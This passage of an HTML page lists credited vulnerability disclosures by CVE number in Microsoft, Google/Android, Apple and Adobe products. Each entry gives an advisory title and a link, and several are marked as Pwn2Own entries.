href="https://technet.microsoft.com/library/security/MS15-080">https://technet.microsoft.com/library/security/MS15-080</a></p><p><font color="red"><strong>CVE-2016-0176 (Pwn2Own 2016 Edge sandbox bypass with System EoP on Windows 10</strong></font><br>Microsoft DirectX Graphics Kernel Subsystem Elevation of Privilege Vulnerability<br><a href="https://technet.microsoft.com/library/security/MS16-062">https://technet.microsoft.com/library/security/MS16-062</a></p><p><font color="red"><strong>CVE-2010-3333</strong></font><br>MICROSOFT WORD RTF FILE PARSING STACK BUFFER OVERFLOW VULNERABILITY<br><a href="http://www.microsoft.com/technet/security/bulletin/ms10-087.mspx">http://www.microsoft.com/technet/security/bulletin/ms10-087.mspx</a></p><p>CVE-2007-2931<br>MSN Messenger Video Conversation Buffer Overflow Vulnerability<br><a href="http://www.microsoft.com/technet/security/Bulletin/MS07-054.mspx">http://www.microsoft.com/technet/security/Bulletin/MS07-054.mspx</a></p><p>CVE-2008-1091<br>Microsoft Office RTF Parsing Engine Memory Corruption Vulnerability<br><a href="http://www.microsoft.com/technet/security/bulletin/ms08-026.mspx">http://www.microsoft.com/technet/security/bulletin/ms08-026.mspx</a></p><p>CVE-2008-3471<br>Microsoft Office Excel BIFF File Format Parsing Stack Overflow Vulnerability<br><a href="http://www.microsoft.com/technet/security/bulletin/MS08-057.mspx">http://www.microsoft.com/technet/security/bulletin/MS08-057.mspx</a></p><p>CVE-2008-4027<br>Microsoft Office RTF Consecutive Drawing Object Parsing Heap Corruption Vulnerability<br><a href="http://www.zerodayinitiative.com/advisories/ZDI-08-084/">http://www.zerodayinitiative.com/advisories/ZDI-08-084/</a></p><p>CVE-2008-4028<br>Microsoft Office RTF Drawing Object Heap Overflow Vulnerability<br><a href="http://www.microsoft.com/technet/security/bulletin/MS08-072.mspx">http://www.microsoft.com/technet/security/bulletin/MS08-072.mspx</a></p><p>CVE-2008-4837<br>Microsoft Office Word Document Table Property Stack Overflow Vulnerability<br><a href="http://www.microsoft.com/technet/security/bulletin/MS08-072.mspx">http://www.microsoft.com/technet/security/bulletin/MS08-072.mspx</a></p><p>CVE-2009-1130<br>Microsoft Office PowerPoint Notes Container Heap Overflow Vulnerability<br><a href="http://www.microsoft.com/technet/security/bulletin/MS09-017.mspx">http://www.microsoft.com/technet/security/bulletin/MS09-017.mspx</a></p><p>CVE-2009-0563<br>Microsoft Word Document Stack Based Buffer Overflow Vulnerability<br><a href="http://www.microsoft.com/technet/security/bulletin/MS09-027.mspx">http://www.microsoft.com/technet/security/bulletin/MS09-027.mspx</a></p><p>CVE-2009-1530<br>Microsoft Internet Explorer Event Handler Memory Corruption Vulnerability<br><a href="http://www.zerodayinitiative.com/advisories/ZDI-09-038/">http://www.zerodayinitiative.com/advisories/ZDI-09-038/</a></p><p>CVE-2009-1531<br>Microsoft Internet Explorer onreadystatechange Memory Corruption Vulnerability<br><a href="http://www.zerodayinitiative.com/advisories/ZDI-09-039/">http://www.zerodayinitiative.com/advisories/ZDI-09-039/</a></p><p>CVE-2009-1918<br>Microsoft Internet Explorer getElementsByTagName Memory Corruption Vulnerability<br><a href="http://www.zerodayinitiative.com/advisories/ZDI-09-047/">http://www.zerodayinitiative.com/advisories/ZDI-09-047/</a></p><p>CVE-2009-1133<br>Microsoft Remote Desktop Client Arbitrary Code Execution Vulnerability<br><a href="http://www.zerodayinitiative.com/advisories/ZDI-09-057/">http://www.zerodayinitiative.com/advisories/ZDI-09-057/</a></p><p>CVE-2009-1920<br>Microsoft Internet Explorer JScript arguments Invocation Memory Corruption Vulnerability<br><a href="http://www.zerodayinitiative.com/advisories/ZDI-09-062/">http://www.zerodayinitiative.com/advisories/ZDI-09-062/</a></p><p>CVE-2009-2502<br>MICROSOFT WINDOWS GDI+ TIFF FILE PARSING BUFFER OVERFLOW VULNERABILITY<br><a href="http://www.microsoft.com/technet/security/bulletin/ms09-062.mspx">http://www.microsoft.com/technet/security/bulletin/ms09-062.mspx</a></p><p>CVE-2010-0244<br>Microsoft Internet Explorer Table Layout Col Tag Cache Update Remote Code Execution Vulnerability<br><a href="http://www.zerodayinitiative.com/advisories/ZDI-10-011/">http://www.zerodayinitiative.com/advisories/ZDI-10-011/</a></p><p>CVE-2010-0491<br>MICROSOFT INTERNET EXPLORER ‘ONREADYSTATECHANGE’ USE AFTER FREE VULNERABILITY<br><a href="http://www.microsoft.com/technet/security/bulletin/ms10-018.mspx">http://www.microsoft.com/technet/security/bulletin/ms10-018.mspx</a></p><p>CVE-2010-1900<br>Microsoft Office Word sprmCMajority Record Parsing Remote Code Execution Vulnerability<br><a href="http://www.zerodayinitiative.com/advisories/ZDI-10-150/">http://www.zerodayinitiative.com/advisories/ZDI-10-150/</a></p><p>CVE-2010-1901<br>MICROSOFT OFFICE RTF PARSING ENGINE MEMORY CORRUPTION VULNERABILITY<br><a href="http://www.verisigninc.com/en_US/products-and-services/network-intelligence-availability/idefense/public-vulnerability-reports/articles/index.xhtml?id=877">http://www.verisigninc.com/en_US/products-and-services/network-intelligence-availability/idefense/public-vulnerability-reports/articles/index.xhtml?id=877</a></p><p>CVE-2010-1902<br>MICROSOFT WORD RTF FILE PARSING HEAP BUFFER OVERFLOW VULNERABILITY<br><a href="http://www.verisigninc.com/en_US/products-and-services/network-intelligence-availability/idefense/public-vulnerability-reports/articles/index.xhtml?id=876">http://www.verisigninc.com/en_US/products-and-services/network-intelligence-availability/idefense/public-vulnerability-reports/articles/index.xhtml?id=876</a></p><p>CVE-2016-0193<br>Scripting Engine Memory Corruption Vulnerability<br><a href="https://technet.microsoft.com/library/security/MS16-052">https://technet.microsoft.com/library/security/MS16-052</a></p><p>CVE-2015-2383<br>Internet Explorer Memory Corruption Vulnerability<br><a href="https://technet.microsoft.com/library/security/MS15-065">https://technet.microsoft.com/library/security/MS15-065</a></p><p>CVE-2015-1753<br>Internet Explorer Memory Corruption Vulnerability<br><a href="https://technet.microsoft.com/library/security/MS15-056">https://technet.microsoft.com/library/security/MS15-056</a></p><p>CVE-2015-1689<br>Internet Explorer Memory Corruption Vulnerability<br><a href="https://technet.microsoft.com/library/security/MS15-043">https://technet.microsoft.com/library/security/MS15-043</a></p><p>CVE-2015-1691<br>Internet Explorer Memory Corruption Vulnerability<br><a href="https://technet.microsoft.com/library/security/MS15-043">https://technet.microsoft.com/library/security/MS15-043</a></p><p>CVE-2015-1718<br>Internet Explorer Memory Corruption Vulnerability<br><a href="https://technet.microsoft.com/library/security/MS15-043">https://technet.microsoft.com/library/security/MS15-043</a></p><p>CVE-2015-1657<br>Internet Explorer Memory Corruption Vulnerability<br><a href="https://technet.microsoft.com/library/security/MS15-032">https://technet.microsoft.com/library/security/MS15-032</a></p><p>CVE-2015-0056<br>Internet Explorer Memory Corruption Vulnerability<br><a href="https://technet.microsoft.com/library/security/MS15-018">https://technet.microsoft.com/library/security/MS15-018</a></p><p>CVE-2015-0039<br>Internet Explorer Memory Corruption Vulnerability<br><a href="https://technet.microsoft.com/library/security/MS15-009">https://technet.microsoft.com/library/security/MS15-009</a></p><p>CVE-2015-0066<br>Internet Explorer Memory Corruption Vulnerability<br><a href="https://technet.microsoft.com/library/security/MS15-009">https://technet.microsoft.com/library/security/MS15-009</a></p><p>CVE-2014-6375<br>Internet Explorer Memory Corruption Vulnerability<br><a href="https://technet.microsoft.com/library/security/ms14-080">https://technet.microsoft.com/library/security/ms14-080</a></p><p>CVE-2014-6339<br>Internet Explorer ASLR Bypass Vulnerability<br><a href="https://technet.microsoft.com/library/security/MS14-065">https://technet.microsoft.com/library/security/MS14-065</a></p><p>CVE-2014-4130<br>Internet Explorer Memory Corruption Vulnerability<br><a href="https://technet.microsoft.com/library/security/ms14-056">https://technet.microsoft.com/library/security/ms14-056</a></p><p>CVE-2014-2773<br>Internet Explorer Memory Corruption Vulnerability<br><a href="https://technet.microsoft.com/library/security/ms14-035">https://technet.microsoft.com/library/security/ms14-035</a></p><p>CVE-2014-0267<br>Internet Explorer Memory Corruption Vulnerability<br><a href="https://technet.microsoft.com/library/security/ms14-010">https://technet.microsoft.com/library/security/ms14-010</a></p><h1 id="Google-Android-related-bugs"><a href="#Google-Android-related-bugs" class="headerlink" title="Google&#x2F;Android related bugs"></a>Google&#x2F;Android related bugs</h1><p>CVE-2016-1646<br>Out-of-bounds read in V8<br><a href="http://googlechromereleases.blogspot.com/2016/03/stable-channel-update_24.html">http://googlechromereleases.blogspot.com/2016/03/stable-channel-update_24.html</a></p><p>CVE-2010-2297<br>Table layout crash bug from wushi<br><a href="https://code.google.com/p/chromium/issues/detail?id=42723">https://code.google.com/p/chromium/issues/detail?id=42723</a></p><p>CVE-2010-4206<br>chrome_55000000!WebCore::FEBlend::apply Memory corruption<br><a href="https://code.google.com/p/chromium/issues/detail?id=60688">https://code.google.com/p/chromium/issues/detail?id=60688</a></p><p>CVE-2014-8299<br>MTK TOCTTOU memory corruption<br><a href="http://2014.zeronights.org/assets/files/slides/racingwithdroids.pdf">http://2014.zeronights.org/assets/files/slides/racingwithdroids.pdf</a></p><p>CVE-2016-2443<br>Qualcomm MDP escalation of privilege<br><a href="https://source.android.com/security/bulletin/2016-05-01.html">https://source.android.com/security/bulletin/2016-05-01.html</a></p><p>CVE-2016-0811<br>libmediaplayerservice infoleak<br><a href="https://source.android.com/security/bulletin/2016-02-01.html">https://source.android.com/security/bulletin/2016-02-01.html</a></p><p>CVE-2015-6637<br>misc-sd escalation of privilege<br><a href="https://source.android.com/security/bulletin/2016-01-01.html">https://source.android.com/security/bulletin/2016-01-01.html</a></p><p>CVE-2015-6612<br>libmedia escalation of privilege<br><a href="https://source.android.com/security/bulletin/2015-11-01.html">https://source.android.com/security/bulletin/2015-11-01.html</a></p><p>CVE-2015-6620<br>libstagefright escalation of privilege<br><a href="https://source.android.com/security/bulletin/2015-12-01.html">https://source.android.com/security/bulletin/2015-12-01.html</a></p><p>CVE-2015-6622<br>Android Native Frameworks Library infoleak<br><a href="https://source.android.com/security/bulletin/2015-12-01.html">https://source.android.com/security/bulletin/2015-12-01.html</a></p><p>CVE-2014-9410<br>Multiple Issues in Camera Drivers<br><a href="https://www.codeaurora.org/projects/security-advisories/hall-of-fame">https://www.codeaurora.org/projects/security-advisories/hall-of-fame</a></p><p>CVE-2014-4324<br>Multiple Issues in Camera Drivers<br><a href="https://www.codeaurora.org/projects/security-advisories/hall-of-fame">https://www.codeaurora.org/projects/security-advisories/hall-of-fame</a></p><p>CVE-2014-4321<br>Multiple Issues in Camera Drivers<br><a href="https://www.codeaurora.org/projects/security-advisories/hall-of-fame">https://www.codeaurora.org/projects/security-advisories/hall-of-fame</a></p><p>CVE-2014-0976<br>Multiple Issues in Camera Drivers<br><a href="https://www.codeaurora.org/projects/security-advisories/hall-of-fame">https://www.codeaurora.org/projects/security-advisories/hall-of-fame</a></p><p>CVE-2014-0975<br>Multiple Issues in Camera Drivers<br><a href="https://www.codeaurora.org/projects/security-advisories/hall-of-fame">https://www.codeaurora.org/projects/security-advisories/hall-of-fame</a></p><p>CVE-2015-3854<br>Permission leak in systemserver<br><a href="https://blog.flanker017.me/series-of-vulnerabilities-in-system_server/">https://blog.flanker017.me/series-of-vulnerabilities-in-system_server/</a></p><p>CVE-2015-3855<br>Permission leak in systemserver<br><a href="https://blog.flanker017.me/series-of-vulnerabilities-in-system_server/">https://blog.flanker017.me/series-of-vulnerabilities-in-system_server/</a></p><p>CVE-2015-3856<br>Denial of service in systemserver<br><a href="https://blog.flanker017.me/series-of-vulnerabilities-in-system_server/">https://blog.flanker017.me/series-of-vulnerabilities-in-system_server/</a></p><h1 id="Apple"><a href="#Apple" class="headerlink" title="Apple"></a>Apple</h1><p><font color="red"><strong>CVE-2013-5228 (Mobile Pwn2Own 2013 iOS 7)</strong></font><br>Apple iOS Safari DocumentOrderedMap Remote Code Execution Vulnerability<br><a href="https://support.apple.com/en-us/HT202897">https://support.apple.com/en-us/HT202897</a></p><p><font color="red"><strong>CVE-2014-1303 (Pwn2Own 2014 Safari on OS X)</strong></font><br>Apple Safari Heap Buffer Overflow Remote Code Execution Vulnerability<br><a href="https://support.apple.com/zh-cn/HT202941">https://support.apple.com/zh-cn/HT202941</a></p><p><font color="red"><strong>CVE-2014-1314 (Pwn2Own 2014 OS X sandbox bypass)</strong></font><br>Apple OS X WindowsServer Sandbox Escape Vulnerability<br><a href="https://support.apple.com/en-us/HT202966">https://support.apple.com/en-us/HT202966</a></p><p><font color="red"><strong>CVE-2016-1859 (Pwn2Own 2016 Tencent Security Team Shield Safari on OS X)</strong></font><br>Multiple memory corruption issues were addressed through improved memory handling in WebKit<br><a href="https://support.apple.com/en-us/HT206565">https://support.apple.com/en-us/HT206565</a></p><p><font color="red"><strong>CVE-2016-1804 (Pwn2Own 2016 Tencent Security Team Shield sandbox bypass on OS X)</strong></font><br>Multi-Touch memory corruption<br><a href="https://support.apple.com/en-us/HT206567">https://support.apple.com/en-us/HT206567</a></p><p><font color="red"><strong>CVE-2016-1857 (Pwn2Own 2016 Tencent Security Team Sniper Safari on OS X)</strong></font><br>Multiple memory corruption issues were addressed through improved memory handling in WebKit<br><a href="https://support.apple.com/en-us/HT206565">https://support.apple.com/en-us/HT206565</a></p><p><font color="red"><strong>CVE-2016-1815 (Pwn2Own 2016 Tencent Security Team Sniper sandbox bypass on OS X)</strong></font><br>IOAcceleratorFamily memory corruption<br><a href="https://support.apple.com/zh-cn/HT206567">https://support.apple.com/zh-cn/HT206567</a></p><p>CVE-2009-1690<br>MULTIPLE VENDOR WEBKIT ERROR HANDLING USE AFTER FREE VULNERABILITY<br><a href="http://support.apple.com/kb/ht3613">http://support.apple.com/kb/ht3613</a></p><p>CVE-2010-0047<br>Apple WebKit innerHTML element Substitution Remote Code Execution Vulnerability<br><a href="http://www.zerodayinitiative.com/advisories/ZDI-10-029/">http://www.zerodayinitiative.com/advisories/ZDI-10-029/</a></p><p>CVE-2010-0053<br>Apple WebKit CSS run-in Attribute Rendering Remote Code Execution Vulnerability<br><a href="http://www.zerodayinitiative.com/advisories/ZDI-10-030/">http://www.zerodayinitiative.com/advisories/ZDI-10-030/</a></p><p>CVE-2010-0050<br>Apple Webkit Blink Event Dangling Pointer Remote Code Execution Vulnerability<br><a href="http://www.zerodayinitiative.com/advisories/ZDI-10-031/">http://www.zerodayinitiative.com/advisories/ZDI-10-031/</a></p><p>CVE-2010-0048<br>Apple Webkit Anchor Tag Mouse Click Event Dispatch Remote Code Execution Vulnerability<br><a href="http://www.zerodayinitiative.com/advisories/ZDI-10-146/">http://www.zerodayinitiative.com/advisories/ZDI-10-146/</a></p><p>CVE-2010-0049<br>Apple WebKit RTL LineBox Overflow Remote Code Execution Vulnerability<br><a href="http://www.zerodayinitiative.com/advisories/ZDI-10-152/">http://www.zerodayinitiative.com/advisories/ZDI-10-152/</a></p><p>CVE-2010-1119<br>Apple Webkit Attribute Child Removal Remote Code Execution Vulnerability<br><a href="http://www.zerodayinitiative.com/advisories/ZDI-10-091/">http://www.zerodayinitiative.com/advisories/ZDI-10-091/</a></p><p>CVE-2010-1392<br>Apple Webkit Button First-Letter Style Rendering Remote Code Execution Vulnerability<br><a href="http://www.zerodayinitiative.com/advisories/ZDI-10-154/">http://www.zerodayinitiative.com/advisories/ZDI-10-154/</a></p><p>CVE-2010-1396<br>Apple Webkit Option Element ContentEditable Remote Code Execution Vulnerability<br><a href="http://www.zerodayinitiative.com/advisories/ZDI-10-092/">http://www.zerodayinitiative.com/advisories/ZDI-10-092/</a></p><p>CVE-2010-1397<br>Apple Webkit DOCUMENT_POSITION_DISCONNECTED Attribute Remote Code Execution Vulnerability<br><a href="http://www.zerodayinitiative.com/advisories/ZDI-10-095/">http://www.zerodayinitiative.com/advisories/ZDI-10-095/</a></p><p>CVE-2010-1398<br>Apple Webkit ContentEditable moveParagraphs Uninitialized Element Remote Code Execution Vulnerability<br><a href="http://www.zerodayinitiative.com/advisories/ZDI-10-097/">http://www.zerodayinitiative.com/advisories/ZDI-10-097/</a></p><p>CVE-2010-1399<br>Apple Webkit SelectionController via Marquee Event Remote Code Execution Vulnerability<br><a href="http://www.zerodayinitiative.com/advisories/ZDI-10-094/">http://www.zerodayinitiative.com/advisories/ZDI-10-094/</a></p><p>CVE-2010-1400<br>MULTIPLE VENDOR WEBKIT HTML CAPTION USE AFTER FREE VULNERABILITY<br><a href="http://www.verisigninc.com/en_US/products-and-services/network-intelligence-availability/idefense/public-vulnerability-reports/articles/index">http://www.verisigninc.com/en_US/products-and-services/network-intelligence-availability/idefense/public-vulnerability-reports/articles/index</a>. xhtml?id&#x3D;870</p><p>CVE-2010-1401<br>Apple Webkit First-Letter Pseudo-Element Style Remote Code Execution Vulnerability<br><a href="http://www.zerodayinitiative.com/advisories/ZDI-10-098/">http://www.zerodayinitiative.com/advisories/ZDI-10-098/</a></p><p>CVE-2010-1402<br>Apple Webkit ConditionEventListener Remote Code Execution Vulnerability<br><a href="http://www.zerodayinitiative.com/advisories/ZDI-10-100/">http://www.zerodayinitiative.com/advisories/ZDI-10-100/</a></p><p>CVE-2010-1403<br>Apple Webkit ProcessInstruction Target Error Message Insertion Remote Code Execution Vulnerability<br><a href="http://www.zerodayinitiative.com/advisories/ZDI-10-099/">http://www.zerodayinitiative.com/advisories/ZDI-10-099/</a></p><p>CVE-2010-1404<br>Apple Webkit Recursive Use Element Remote Code Execution Vulnerability<br><a href="http://www.zerodayinitiative.com/advisories/ZDI-10-096/">http://www.zerodayinitiative.com/advisories/ZDI-10-096/</a></p><p>CVE-2010-1665<br>aApple Webkit WebCore::FontFallbackList::determinePitch memory corruption<br><a href="https://code.google.com/p/chromium/issues/detail?id=42294">https://code.google.com/p/chromium/issues/detail?id=42294</a></p><p>CVE-2010-1749<br>Apple Webkit SVG RadialGradiant Run-in Remote Code Execution Vulnerability<br><a href="http://www.zerodayinitiative.com/advisories/ZDI-10-101/">http://www.zerodayinitiative.com/advisories/ZDI-10-101/</a></p><p>CVE-2010-1770<br>Apple Webkit CSS Charset Text Transformation Remote Code Execution Vulnerability<br><a href="http://www.zerodayinitiative.com/advisories/ZDI-10-093/">http://www.zerodayinitiative.com/advisories/ZDI-10-093/</a></p><p>CVE-2010-1786<br>Apple Webkit SVG ForeignObject Rendering Layout Remote Code Execution Vulnerability<br><a href="http://www.zerodayinitiative.com/advisories/ZDI-10-141/">http://www.zerodayinitiative.com/advisories/ZDI-10-141/</a></p><p>CVE-2010-1785<br>Apple Webkit SVG First-Letter Style Remote Code Execution Vulnerability<br><a href="http://www.zerodayinitiative.com/advisories/ZDI-10-142/">http://www.zerodayinitiative.com/advisories/ZDI-10-142/</a></p><p>CVE-2010-1784<br>Apple Webkit Rendering Counter Remote Code Execution Vulnerability<br><a href="http://www.zerodayinitiative.com/advisories/ZDI-10-144/">http://www.zerodayinitiative.com/advisories/ZDI-10-144/</a></p><p>CVE-2010-1787<br>Apple Webkit SVG Floating Text Element Remote Code Execution Vulnerability<br><a href="http://www.zerodayinitiative.com/advisories/ZDI-10-153/">http://www.zerodayinitiative.com/advisories/ZDI-10-153/</a></p><p>CVE-2010-3113<br>WebKit Security issue in SVGUseElement::buildShadowTree<br><a href="http://www.securityfocus.com/bid/44199">http://www.securityfocus.com/bid/44199</a></p><p>CVE-2010-3114<br>WebKit Memory corruption with invalid text node cast for edit commands<br><a href="https://code.google.com/p/chromium/issues/detail?id=49628">https://code.google.com/p/chromium/issues/detail?id=49628</a></p><p>CVE-2010-1806<br>Apple Safari Webkit Runin Remote Code Execution Vulnerability<br><a href="http://www.zerodayinitiative.com/advisories/ZDI-10-170/">http://www.zerodayinitiative.com/advisories/ZDI-10-170/</a></p><p>CVE-2010-1822<br>Webkit Bad cast with svg:g element<br><a href="https://code.google.com/p/chromium/issues/detail?id=55114">https://code.google.com/p/chromium/issues/detail?id=55114</a></p><p>CVE-2010-1824<br>Apple Webkit Error Message Mutation Remote Code Execution Vulnerability<br><a href="http://www.zerodayinitiative.com/advisories/ZDI-11-095/">http://www.zerodayinitiative.com/advisories/ZDI-11-095/</a></p><p>CVE-2010-4198<br>Webkit Memory corruption in accessing floatptr of a textarea<br><a href="https://code.google.com/p/chromium/issues/detail?id=55257">https://code.google.com/p/chromium/issues/detail?id=55257</a></p><p>CVE-2010-3808<br>WebKit invalid cast issue exists in editing commands<br><a href="http://support.apple.com/kb/HT4455">http://support.apple.com/kb/HT4455</a></p><p>CVE-2010-3824<br>WebKit’s handling “use” elements in SVG documents<br><a href="http://support.apple.com/kb/HT4455">http://support.apple.com/kb/HT4455</a></p><p>CVE-2011-1118<br>WebKit Security:WebCore::HTMLTextAreaElement::updateValue<br><a href="https://code.google.com/p/chromium/issues/detail?id=71388">https://code.google.com/p/chromium/issues/detail?id=71388</a></p><p>CVE-2011-1117<br>WebKit Stale nodes in Document::recalcStyleSelector<br><a href="https://code.google.com/p/chromium/issues/detail?id=71386">https://code.google.com/p/chromium/issues/detail?id=71386</a></p><p>CVE-2011-1448<br>WebKit stale entries in gPercentHeightDescendantsMap<br><a href="https://code.google.com/p/chromium/issues/detail?id=77130">https://code.google.com/p/chromium/issues/detail?id=77130</a></p><p>CVE-2010-1823<br>WebKit Heap Corruption Vulnerability<br><a href="http://support.apple.com/kb/HT4808">http://support.apple.com/kb/HT4808</a></p><p>CVE-2011-0233<br>WebKit Heap Corruption Vulnerability<br><a href="http://support.apple.com/kb/HT4808">http://support.apple.com/kb/HT4808</a></p><p>CVE-2011-0234<br>WebKit Heap Corruption Vulnerability<br><a href="http://support.apple.com/kb/HT4808">http://support.apple.com/kb/HT4808</a></p><p>CVE-2011-0237<br>WebKit Heap Corruption Vulnerability<br><a href="http://support.apple.com/kb/HT4808">http://support.apple.com/kb/HT4808</a></p><p>CVE-2011-0240<br>WebKit Heap Corruption Vulnerability<br><a href="http://support.apple.com/kb/HT4808">http://support.apple.com/kb/HT4808</a></p><p>CVE-2011-1117<br>WebKit Heap Corruption Vulnerability<br><a href="http://support.apple.com/kb/HT4808">http://support.apple.com/kb/HT4808</a></p><p>CVE-2011-1449<br>WebKit Heap Corruption Vulnerability<br><a href="http://support.apple.com/kb/HT4808">http://support.apple.com/kb/HT4808</a></p><p>CVE-2011-1453<br>WebKit Heap Corruption Vulnerability<br><a href="http://support.apple.com/kb/HT4808">http://support.apple.com/kb/HT4808</a></p><p>CVE-2011-1462<br>WebKit Heap Corruption Vulnerability<br><a href="http://support.apple.com/kb/HT4808">http://support.apple.com/kb/HT4808</a></p><p>CVE-2011-1797<br>WebKit Heap Corruption Vulnerability<br><a href="http://support.apple.com/kb/HT4808">http://support.apple.com/kb/HT4808</a></p><p>CVE-2011-3438<br>WebKit Heap Corruption Vulnerability<br><a href="http://support.apple.com/kb/HT4808">http://support.apple.com/kb/HT4808</a></p><p>CVE-2011-2825<br>Webkit fontface Invalid Font Family Remote Code Execution Vulnerability<br><a href="http://www.zerodayinitiative.com/advisories/ZDI-12-054/">http://www.zerodayinitiative.com/advisories/ZDI-12-054/</a></p><p>CVE-2011-2855<br>MULTIPLE VENDOR WEBKIT SVG ELEMENT USE AFTER FREE VULNERABILITY<br><a href="http://www.verisigninc.com/en_US/products-and-services/network-intelligence-availability/idefense/public-vulnerability-reports/articles/index">http://www.verisigninc.com/en_US/products-and-services/network-intelligence-availability/idefense/public-vulnerability-reports/articles/index</a>. xhtml?id&#x3D;971</p><p>CVE-2011-3928<br>Webkit.org Webkit copyNonAttributeProperties Remote Code Execution Vulnerability<br><a href="http://www.zerodayinitiative.com/advisories/ZDI-12-055/">http://www.zerodayinitiative.com/advisories/ZDI-12-055/</a></p><p>CVE-2011-3035<br>WebKit Heap Corruption Vulnerability<br><a href="http://support.apple.com/kb/HT5400">http://support.apple.com/kb/HT5400</a></p><p>CVE-2012-0634<br>WebKit Heap Corruption Vulnerability<br><a href="http://support.apple.com/kb/HT5191">http://support.apple.com/kb/HT5191</a></p><p>CVE-2012-3683<br>APPLE SAFARI RENDERBOX INLINEBOX TYPE CONFUSION VULNERABILITY<br><a href="http://www.verisigninc.com/en_US/products-and-services/network-intelligence-availability/idefense/public-vulnerability-reports/articles/index">http://www.verisigninc.com/en_US/products-and-services/network-intelligence-availability/idefense/public-vulnerability-reports/articles/index</a>. xhtml?id&#x3D;998</p><p>CVE-2013-0961<br>WebKit Heap Corruption Vulnerability<br><a href="http://support.apple.com/kb/HT5671">http://support.apple.com/kb/HT5671</a></p><p>CVE-2012-1521<br>WebKit Heap-use-after-free in WebCore::RenderObjectChildList::destroyLeftoverChildren<br><a href="http://googlechromereleases.blogspot.com/2011/04/chrome-stable-update">http://googlechromereleases.blogspot.com/2011/04/chrome-stable-update</a>. html</p><p>CVE-2014-1368<br>Multiple memory corruption issues existed in WebKit<br><a href="https://support.apple.com/en-us/HT203007">https://support.apple.com/en-us/HT203007</a></p><p>CVE-2016-1824<br>IOHIDFamily memory corruption<br><a href="https://support.apple.com/zh-cn/HT206567">https://support.apple.com/zh-cn/HT206567</a></p><p>CVE-2016-1860<br>Intel Graphics Driver memory corruption<br><a href="https://support.apple.com/en-us/HT206567">https://support.apple.com/en-us/HT206567</a></p><p>CVE-2016-1716<br>AppleGraphicsPowerManagement memory corruption<br><a href="https://support.apple.com/zh-cn/HT205731">https://support.apple.com/zh-cn/HT205731</a></p><p>CVE-2015-5768<br>AppleGraphicsControl memory corruption<br><a href="https://support.apple.com/en-us/HT205031">https://support.apple.com/en-us/HT205031</a></p><p>CVE-2015-3676<br>AppleGraphicsControl memory corruption<br><a href="https://support.apple.com/en-us/HT204942">https://support.apple.com/en-us/HT204942</a></p><p>CVE-2015-3702<br>Intel Graphics Driver memory corruption<br><a href="https://support.apple.com/en-us/HT204942">https://support.apple.com/en-us/HT204942</a></p><p>CVE-2015-3705<br>IOAcceleratorFamily memory corruption<br><a href="https://support.apple.com/en-us/HT204942">https://support.apple.com/en-us/HT204942</a></p><p>CVE-2015-3706<br>IOAcceleratorFamily memory corruption<br><a href="https://support.apple.com/en-us/HT204942">https://support.apple.com/en-us/HT204942</a></p><h1 id="Adobe"><a href="#Adobe" class="headerlink" title="Adobe"></a>Adobe</h1><p><font color="red"><strong>CVE-2007-0071 (Pwnie 2008 nomination)</strong></font><br>Integer overflow in Adobe Flash Player 9.0.115.0 and earlier<br><a href="http://www.securityfocus.com/bid/28695">http://www.securityfocus.com/bid/28695</a></p><p><font color="red"><strong>CVE-2015-6678 (Pwn2Own 2015 Flash)</strong></font><br>Security updates available for Adobe Flash Player<br><a href="https://helpx.adobe.com/security/products/flash-player/apsb15-23.html">https://helpx.adobe.com/security/products/flash-player/apsb15-23.html</a></p><p><font color="red"><strong>CVE-2015-5108 (Pwn2Own 2015 Adobe Reader)</strong></font><br>Security Updates Available for Adobe Acrobat and Reader<br><a href="https://helpx.adobe.com/security/products/acrobat/apsb15-15.html">https://helpx.adobe.com/security/products/acrobat/apsb15-15.html</a></p><p><font color="red"><strong>CVE-2014-0510 (Pwn2Own 2014 Flash)</strong></font><br>Security updates available for Adobe Flash Player<br><a href="https://helpx.adobe.com/security/products/flash-player/apsb14-14.html">https://helpx.adobe.com/security/products/flash-player/apsb14-14.html</a></p><p>CVE-2011-2135<br>ADOBE FLASH PLAYER ACTIONSCRIPT DISPLAY MEMORY CORRUPTION VULNERABILITY<br><a href="http://www.verisigninc.com/en_US/products-and-services/network-intelligence-availability/idefense/public-vulnerability-reports/articles/index">http://www.verisigninc.com/en_US/products-and-services/network-intelligence-availability/idefense/public-vulnerability-reports/articles/index</a>. xhtml?id&#x3D;935</p><p>CVE-2012-2034<br>ADOBE FLASH PLAYER ACTIONSCRIPT DISPLAYOBJECT LAYOUT MEMORY CORRUPTION VULNERABILITY<br><a href="http://www.verisigninc.com/en_US/products-and-services/network-intelligence-availability/idefense/public-vulnerability-reports/articles/index">http://www.verisigninc.com/en_US/products-and-services/network-intelligence-availability/idefense/public-vulnerability-reports/articles/index</a>. xhtml?id&#x3D;987</p><p>CVE-2015-5087<br>Security Updates Available for Adobe Acrobat and Reader<br><a href="https://helpx.adobe.com/security/products/acrobat/apsb15-15.html">https://helpx.adobe.com/security/products/acrobat/apsb15-15.html</a></p><p>CVE-2015-3124<br>Security updates available for Adobe Flash Player<br><a href="https://helpx.adobe.com/security/products/flash-player/apsb15-16.html">https://helpx.adobe.com/security/products/flash-player/apsb15-16.html</a></p><p>CVE-2015-3083<br>Security updates available for Adobe Flash Player<br><a href="https://helpx.adobe.com/security/products/flash-player/apsb15-09.html">https://helpx.adobe.com/security/products/flash-player/apsb15-09.html</a></p><p>CVE-2015-3082<br>Security updates available for Adobe Flash Player<br><a href="https://helpx.adobe.com/security/products/flash-player/apsb15-09.html">https://helpx.adobe.com/security/products/flash-player/apsb15-09.html</a></p><p>CVE-2015-3081<br>Security updates available for Adobe Flash Player<br><a href="https://helpx.adobe.com/security/products/flash-player/apsb15-09.html">https://helpx.adobe.com/security/products/flash-player/apsb15-09.html</a></p><p>CVE-2015-0351<br>Security updates available for Adobe Flash Player<br><a href="https://helpx.adobe.com/security/products/flash-player/apsb15-06.html">https://helpx.adobe.com/security/products/flash-player/apsb15-06.html</a></p><p>CVE-2015-3040<br>Security updates available for Adobe Flash Player<br><a href="https://helpx.adobe.com/security/products/flash-player/apsb15-06.html">https://helpx.adobe.com/security/products/flash-player/apsb15-06.html</a></p><p>CVE-2015-3041<br>Security updates available for Adobe Flash Player<br><a href="https://helpx.adobe.com/security/products/flash-player/apsb15-06.html">https://helpx.adobe.com/security/products/flash-player/apsb15-06.html</a></p><p>CVE-2015-0342<br>Security updates available for Adobe Flash Player<br><a href="https://helpx.adobe.com/security/products/flash-player/apsb15-05.html">https://helpx.adobe.com/security/products/flash-player/apsb15-05.html</a></p><p>CVE-2015-0322<br>Security updates available for Adobe Flash Player<br><a 